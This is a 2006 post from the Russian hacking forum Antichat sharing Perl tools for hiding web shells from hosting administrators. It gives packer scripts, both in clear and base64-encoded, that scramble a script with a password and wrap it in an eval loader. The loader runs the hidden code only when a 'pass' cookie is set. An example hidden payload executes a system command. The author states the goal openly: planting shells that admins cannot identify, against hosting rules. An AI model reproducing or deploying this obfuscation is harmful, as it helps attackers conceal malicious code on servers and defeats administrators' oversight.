ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Скрипт защиты perl кода от хостеров
  #1  
Старый 15.06.2006, 03:21
Аватар для hidden
hidden
Постоянный
Регистрация: 23.04.2006
Сообщений: 622
Провел на форуме:
5887054

Репутация: 1292


По умолчанию Скрипт защиты perl кода от хостеров

В правилах хостинга бывает написано чтоб пользователи не размищяли шэлы, не проверенные - не защищённые скрипты, proxy скрипты, а также файлы, которые могут повредить системе.

Это значит если я залью шэл, а они его найдут и в лучшем случае они его удалят, а в худшем могут не только распрощаться со своим акаунтом, но неизвестно что ещё.

Но если админы не понимают, как работает программа, а также она не похожа ни на один из известных шэлов, зничит им и предъявить нечего. Для этого люди разработали скрипты - языки программирования с открытым кодом, это очень облегчило работу админов.

Но ведь интересно, что же на этом сервере. И тут я решил усложнить их работу вплоть до невозможности. К примеру как вы думаете что делает ниже приведённый скрипт.
PHP код:
#!/usr/bin/perl
use MIME::Base64;$data='
eqt4m4FpjbKcmWqblItprJp/j6mTc6OrmKOjrZ1zcpuEZm6rm3+PpZV1ZGSajnmkiJlzYo2MnWaD
a3ujiomfqY19bJubmXppdqKDa0GbbIKdlIabo5B+pLJ6qp1qd6KMa5mRgWg8
'
;eval MIME::Base64::decode('
CigkcGFzcyk9JEVOVnsiSFRUUF9DT09LSUUifT1+L3Bhc3NcPShbXjtdKikvaTskcGw9bGVuZ3Ro
KCRwYXNzKTskZGF0YT1NSU1FOjpCYXNlNjQ6OmRlY29kZSgkZGF0YSk7CiRkbD1sZW5ndGgoJGRh
dGEpO2lmKCgkcGw+MCkmJigkcGw8JGRsLzIpKXtteSR4ZHRhO2ZvciRuKDAuLiRkbC0xKXsKJHhk
dGEuPXBhY2soIkMiLCh1bnBhY2soIkMiLHN1YnN0cigkZGF0YSwkbiwxKSktdW5wYWNrKCJDIixz
dWJzdHIoJHBhc3MsJG4lJHBsLDEpKSklMjU1KX0KaWYoJHhkdGEhfi9bXDAuLlwuOi4uQFsuLmB7
Li5ceGZmXSsvKXtldmFsIE1JTUU6OkJhc2U2NDo6ZGVjb2RlKCR4ZHRhKTtleGl0O30KfXByaW50
ICJDb250ZW50LVR5cGU6IHRleHQvcGxhaW5cblxuV3JvbmcgcGFzc3dvcmQiO2V4aXQ7
'
); 
ну типа ивалируются закомпресированнозабэйсин ные данные, а на самом деле это вот такая програмка

PHP код:
#! /usr/bin/perl
print "Content-type: text/plain\n\n";
system('dir');
exit; 
результат, мы получаем содержимое текущего каталога. На первый взгляд можно сказать остаётся только расшифровать и раздать эти строки как и делает эта программа, допустим они это сделали

PHP код:
#!/usr/bin/perl
use MIME::Base64;use Compress::Zlib;$data='
qc4n4KmDL2lH23sB5wGBQm5hhKZA3X+mYV6GBwdZfqOpAUFq6WSGoUA15UFCiFrUqy1kzz/WV2hD
tMViPcT1X8fJqWKDbeS88MfCqeHwuTp87tCH50ladC3sdLzwtT9BiZTDneoyTgJYPg==
'
; ($pass)=$ENV{"HTTP_COOKIE"}=~/pass\=([^;]*)/i;$pl=length($pass);$data=MIME::Base64::decode($data);
$dl=length($data);if(($pl>0)&&($pl<$dl/2)){my$xdta;for$n(0..$dl-1){
$xdta.=pack("C",(unpack("C",substr($data,$n,1))-unpack("C",substr($pass,$n%$pl,1)))%255)}
if(
$xdta!~/[\0..\.:..@[..`{..\xff]+/){eval MIME::Base64::decode($xdta);exit;}
}print "Content-Type: text/plain\n\nWrong password";exit; 
Вот теперь становиться понятно что для полной расшифровки нам потребуется пароль, но дажэ если он это понял, он ведь ничего не может предявить, тат как я просто очень хорошо защитил свою программу, как и было написано в договоре. Им остаётся только надеяться что это безопасная программа так как они не понимают как она работает.

Как же этого добиться? Я написал две программы, для зашифровки этим способом и вот они

PHP код:
#!/usr/bin/perl 
use MIME::Base64;my$file=shift;my$pass=shift;
open(IN,"<$file")||die'ErrorOpenning';read(IN,my$data,-s$file);close(IN);
$data=MIME::Base64::encode($data);my$pl=length($pass);my$dl=length($data);my$xdta;my$n;
for
$n(0..$dl-1){$xdta.=pack("C",(unpack("C",substr($data,$n,1))+unpack("C",substr($pass,$n%$pl,1)))%255)}
$data=MIME::Base64::encode($xdta);$prog=MIME::Base64::encode('
($pass)=$ENV{"HTTP_COOKIE"}=~/pass\=([^;]*)/i;$pl=length($pass);$data=MIME::Base64::decode($data);
$dl=length($data);if(($pl>0)&&($pl<$dl/2)){my$xdta;for$n(0..$dl-1){
$xdta.=pack("C",(unpack("C",substr($data,$n,1))-unpack("C",substr($pass,$n%$pl,1)))%255)}
if($xdta!~/[\0..\.:..@[..`{..\xff]+/){eval MIME::Base64::decode($xdta);exit;}
}print "'
."Content-Type: text/plain\\n\\nWrong password\";exit;");
$data="#!/usr/bin/perl\nuse MIME::Base64;\$data='\n$data';eval MIME::Base64::decode('\n$prog');";
open(OUT,">_$file")||die'ErrorSaving';print(OUT$data);close(OUT); 
PHP код:
#!/usr/bin/perl 
use MIME::Base64;use Compress::Zlib;my$file=shift;my$pass=shift;
open(IN,"<$file")||die'ErrorOpenning';read(IN,my$data,-s$file);close(IN);
$data=compress(MIME::Base64::encode($data));my$pl=length($pass);my$dl=length($data);my$xdta;my$n;
for
$n(0..$dl-1){$xdta.=pack("C",(unpack("C",substr($data,$n,1))+unpack("C",substr($pass,$n%$pl,1)))%255)}
$data=MIME::Base64::encode($xdta);$prog=MIME::Base64::encode(compress('
($pass)=$ENV{"HTTP_COOKIE"}=~/pass\=([^;]*)/i;$pl=length($pass);$data=MIME::Base64::decode($data);
$dl=length($data);if(($pl>0)&&($pl<$dl/2)){my$xdta;for$n(0..$dl-1){
$xdta.=pack("C",(unpack("C",substr($data,$n,1))-unpack("C",substr($pass,$n%$pl,1)))%255)}
$xdta=uncompress($xdta);if($xdta!~/[\0..\.:..@[..`{..\xff]+/){eval MIME::Base64::decode($xdta);exit;}
}print "'
."Content-Type: text/plain\\n\\nWrong password\";exit;"));
$data="#!/usr/bin/perl\nuse MIME::Base64;use Compress::Zlib;\$data='\n$data';eval uncompress(MIME::Base64::decode('\n$prog'));";
open(OUT,">_$file")||die'ErrorSaving';print(OUT$data);close(OUT); 
Первая не использует gzip сжатие так как это медтеннее и не везде поддержуется, а результатом второй становятся очень маленькие файлы. Первым параметром даётся имя шифруемого файла, а вторым пароль.

Как же запустить результат работы этих программ?
Нужно каким небудь скриптом добавить в Куки в переменную pass тот пароль, который довали при зашифровке, например таким

PHP код:
#!/usr/bin/perl 
print "Set-Cookie: pass=1234567890\nContent-Type: text/plain\n\n"
Ну, или придумать свою собственную авторизацию.

Учитуя, что форум вставляет пробелы, а их найти в этом страшном тексте очень сложно, я забэйсил оби, держите.

Код:
IyEvdXNyL2Jpbi9wZXJsIAp1c2UgTUlNRTo6QmFzZTY0O215JGZpbGU9c2hpZnQ7bXkkcGFzcz1z
aGlmdDsKb3BlbihJTiwiPCRmaWxlIil8fGRpZSdFcnJvck9wZW5uaW5nJztyZWFkKElOLG15JGRh
dGEsLXMkZmlsZSk7Y2xvc2UoSU4pOwokZGF0YT1NSU1FOjpCYXNlNjQ6OmVuY29kZSgkZGF0YSk7
bXkkcGw9bGVuZ3RoKCRwYXNzKTtteSRkbD1sZW5ndGgoJGRhdGEpO215JHhkdGE7bXkkbjsKZm9y
JG4oMC4uJGRsLTEpeyR4ZHRhLj1wYWNrKCJDIiwodW5wYWNrKCJDIixzdWJzdHIoJGRhdGEsJG4s
MSkpK3VucGFjaygiQyIsc3Vic3RyKCRwYXNzLCRuJSRwbCwxKSkpJTI1NSl9CiRkYXRhPU1JTUU6
OkJhc2U2NDo6ZW5jb2RlKCR4ZHRhKTskcHJvZz1NSU1FOjpCYXNlNjQ6OmVuY29kZSgnCigkcGFz
cyk9JEVOVnsiSFRUUF9DT09LSUUifT1+L3Bhc3NcPShbXjtdKikvaTskcGw9bGVuZ3RoKCRwYXNz
KTskZGF0YT1NSU1FOjpCYXNlNjQ6OmRlY29kZSgkZGF0YSk7CiRkbD1sZW5ndGgoJGRhdGEpO2lm
KCgkcGw+MCkmJigkcGw8JGRsLzIpKXtteSR4ZHRhO2ZvciRuKDAuLiRkbC0xKXsKJHhkdGEuPXBh
Y2soIkMiLCh1bnBhY2soIkMiLHN1YnN0cigkZGF0YSwkbiwxKSktdW5wYWNrKCJDIixzdWJzdHIo
JHBhc3MsJG4lJHBsLDEpKSklMjU1KX0KaWYoJHhkdGEhfi9bXDAuLlwuOi4uQFsuLmB7Li5ceGZm
XSsvKXtldmFsIE1JTUU6OkJhc2U2NDo6ZGVjb2RlKCR4ZHRhKTtleGl0O30KfXByaW50ICInLiJD
b250ZW50LVR5cGU6IHRleHQvcGxhaW5cXG5cXG5Xcm9uZyBwYXNzd29yZFwiO2V4aXQ7Iik7CiRk
YXRhPSIjIS91c3IvYmluL3BlcmxcbnVzZSBNSU1FOjpCYXNlNjQ7XCRkYXRhPSdcbiRkYXRhJztl
dmFsIE1JTUU6OkJhc2U2NDo6ZGVjb2RlKCdcbiRwcm9nJyk7IjsKb3BlbihPVVQsIj5fJGZpbGUi
KXx8ZGllJ0Vycm9yU2F2aW5nJztwcmludChPVVQkZGF0YSk7Y2xvc2UoT1VUKTs=
Код:
IyEvdXNyL2Jpbi9wZXJsIAp1c2UgTUlNRTo6QmFzZTY0O3VzZSBDb21wcmVzczo6WmxpYjtteSRm
aWxlPXNoaWZ0O215JHBhc3M9c2hpZnQ7Cm9wZW4oSU4sIjwkZmlsZSIpfHxkaWUnRXJyb3JPcGVu
bmluZyc7cmVhZChJTixteSRkYXRhLC1zJGZpbGUpO2Nsb3NlKElOKTsKJGRhdGE9Y29tcHJlc3Mo
TUlNRTo6QmFzZTY0OjplbmNvZGUoJGRhdGEpKTtteSRwbD1sZW5ndGgoJHBhc3MpO215JGRsPWxl
bmd0aCgkZGF0YSk7bXkkeGR0YTtteSRuOwpmb3IkbigwLi4kZGwtMSl7JHhkdGEuPXBhY2soIkMi
LCh1bnBhY2soIkMiLHN1YnN0cigkZGF0YSwkbiwxKSkrdW5wYWNrKCJDIixzdWJzdHIoJHBhc3Ms
JG4lJHBsLDEpKSklMjU1KX0KJGRhdGE9TUlNRTo6QmFzZTY0OjplbmNvZGUoJHhkdGEpOyRwcm9n
PU1JTUU6OkJhc2U2NDo6ZW5jb2RlKGNvbXByZXNzKCcKKCRwYXNzKT0kRU5WeyJIVFRQX0NPT0tJ
RSJ9PX4vcGFzc1w9KFteO10qKS9pOyRwbD1sZW5ndGgoJHBhc3MpOyRkYXRhPU1JTUU6OkJhc2U2
NDo6ZGVjb2RlKCRkYXRhKTsKJGRsPWxlbmd0aCgkZGF0YSk7aWYoKCRwbD4wKSYmKCRwbDwkZGwv
Mikpe215JHhkdGE7Zm9yJG4oMC4uJGRsLTEpewokeGR0YS49cGFjaygiQyIsKHVucGFjaygiQyIs
c3Vic3RyKCRkYXRhLCRuLDEpKS11bnBhY2soIkMiLHN1YnN0cigkcGFzcywkbiUkcGwsMSkpKSUy
NTUpfQokeGR0YT11bmNvbXByZXNzKCR4ZHRhKTtpZigkeGR0YSF+L1tcMC4uXC46Li5AWy4uYHsu
Llx4ZmZdKy8pe2V2YWwgTUlNRTo6QmFzZTY0OjpkZWNvZGUoJHhkdGEpO2V4aXQ7fQp9cHJpbnQg
IicuIkNvbnRlbnQtVHlwZTogdGV4dC9wbGFpblxcblxcbldyb25nIHBhc3N3b3JkXCI7ZXhpdDsi
KSk7CiRkYXRhPSIjIS91c3IvYmluL3BlcmxcbnVzZSBNSU1FOjpCYXNlNjQ7dXNlIENvbXByZXNz
OjpabGliO1wkZGF0YT0nXG4kZGF0YSc7ZXZhbCB1bmNvbXByZXNzKE1JTUU6OkJhc2U2NDo6ZGVj
b2RlKCdcbiRwcm9nJykpOyI7Cm9wZW4oT1VULCI+XyRmaWxlIil8fGRpZSdFcnJvclNhdmluZyc7
cHJpbnQoT1VUJGRhdGEpO2Nsb3NlKE9VVCk7
Так что теперь просто удалите все пробелы и декодируйте бэйс. Да кстати эта программа не является только лишь инструментом хакеров, ей можно пользоваться просто для защиты своих собственных программ.

Удачи в использовании.

Я писал сталью и приведённые выше программы самостоятельно, не пользуясь сторонней помощью, и все права на них принадлежат только мне, но при этом я не несу никакой ответственности за их использование.

Оценивайте, критикуйте, задавайте вопросы, находите багги, буду рад ответить.
hidden специально для AntiChat

Последний раз редактировалось hidden; 01.04.2007 в 07:38..
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Books Perl FRAGNATIC PHP, PERL, MySQL, JavaScript 0 11.08.2005 16:58
Общие Рекомендации Защиты (MySQL и SQL Web-интерфейс) k00p3r Чужие Статьи 0 13.06.2005 11:22
Внедрение Sql кода с завязанными глазами k00p3r Чужие Статьи 0 12.06.2005 20:48
Ловушка для взломщика k00p3r Чужие Статьи 0 08.06.2005 16:48
Меры защиты информационной безопасности foreva Чужие Статьи 0 06.02.2005 19:33



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ